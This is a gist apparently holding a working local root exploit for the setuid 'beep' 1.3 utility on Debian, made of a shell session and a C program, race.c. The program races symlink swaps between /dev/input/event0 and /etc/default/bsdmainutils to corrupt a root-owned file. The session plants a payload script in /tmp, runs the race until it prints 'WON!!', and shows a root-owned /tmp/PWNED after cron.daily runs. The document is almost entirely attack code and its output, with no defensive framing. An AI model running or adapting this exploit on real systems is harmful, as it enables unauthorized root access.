race.c

## gistfile1.txt
fkt@debian:~$ uname -a
Linux debian 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u3 (2018-03-02) x86_64 GNU/Linux
fkt@debian:~$ # wget http://snapshot.debian.org/archive/debian/20160117T220543Z/pool/main/b/beep/beep_1.3-4_amd64.deb
fkt@debian:~$ /usr/bin/beep -v
beep-1.3

fkt@debian:~$ gcc -O2 race.c -o race
fkt@debian:~$ echo "touch /tmp/PWNED" > $(python -c 'print "/tmp/x\x12\x02g",')
fkt@debian:~$ chmod +x /tmp/x*
fkt@debian:~$ ./race 1000 3000 200
2011 1000
[DEBUG] 1 times 1 ms beeps (100 delay between, 0 delay after) @ 440.00 Hz
2012 1000
[DEBUG] 1 times 1 ms beeps (100 delay between, 0 delay after) @ 440.00 Hz
[DEBUG] 1 times 2016356980 ms beeps (2 delay between, 0 delay after) @ 65.00 Hz
WON!!
# if u do not want to wait
fkt@debian:~$ cd / && sudo run-parts /etc/cron.daily
fkt@debian:~$ ls -la /tmp/PWNED
-rw-r--r-- 1 root root 0 Apr  5 06:14 /tmp/PWNED

## race.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <signal.h>
#include <string.h>
#include <errno.h>

void handle_signal(int signum) {

  switch(signum) {
  case SIGINT:
  case SIGTERM:
    wait(NULL);
    exit(signum);
  }
}

int main(int argc, char **argv)
{
  FILE *fp;
  char buf[10];
  char *l = "b";
  int b = atoi(argv[1]);
  int e = atoi(argv[2]);
  int t = atoi(argv[3]);
  int del = b;
  char *args[] = { "/usr/bin/beep", "--debug", "-e", l, "-l", "1", "-n", "-d", "2", "-f", "65", "-l", "2016356980", NULL };

  signal(SIGINT, handle_signal);
  signal(SIGTERM, handle_signal);

  while (1) {
    int pid = fork();
    if ( pid == 0 ) { // child
      unlink(l);
      symlink("/dev/input/event0", l);
      execv(args[0], args);
    } else { // parent
      usleep(del);

      unlink(l);
      symlink("/etc/default/bsdmainutils", l);
      kill(pid, SIGTERM);
      usleep(t);
      kill(pid, SIGKILL);
      waitpid(pid, NULL, 0);

	fp = fopen("/etc/default/bsdmainutils", "r");
	fscanf(fp, "%4s", buf);
	if(!strcmp(buf, "t*/x")) {
		printf("WON!!\n");
		exit(0);
	}
	fclose(fp);
    }
    del++;
      printf("%d %d\n", del, b); fflush(stdout);
    if (del > e) {
      printf("%d %d\n", del, b); fflush(stdout);
      del = b;
      usleep(1000*1000);
    }
  }

  return 0;
}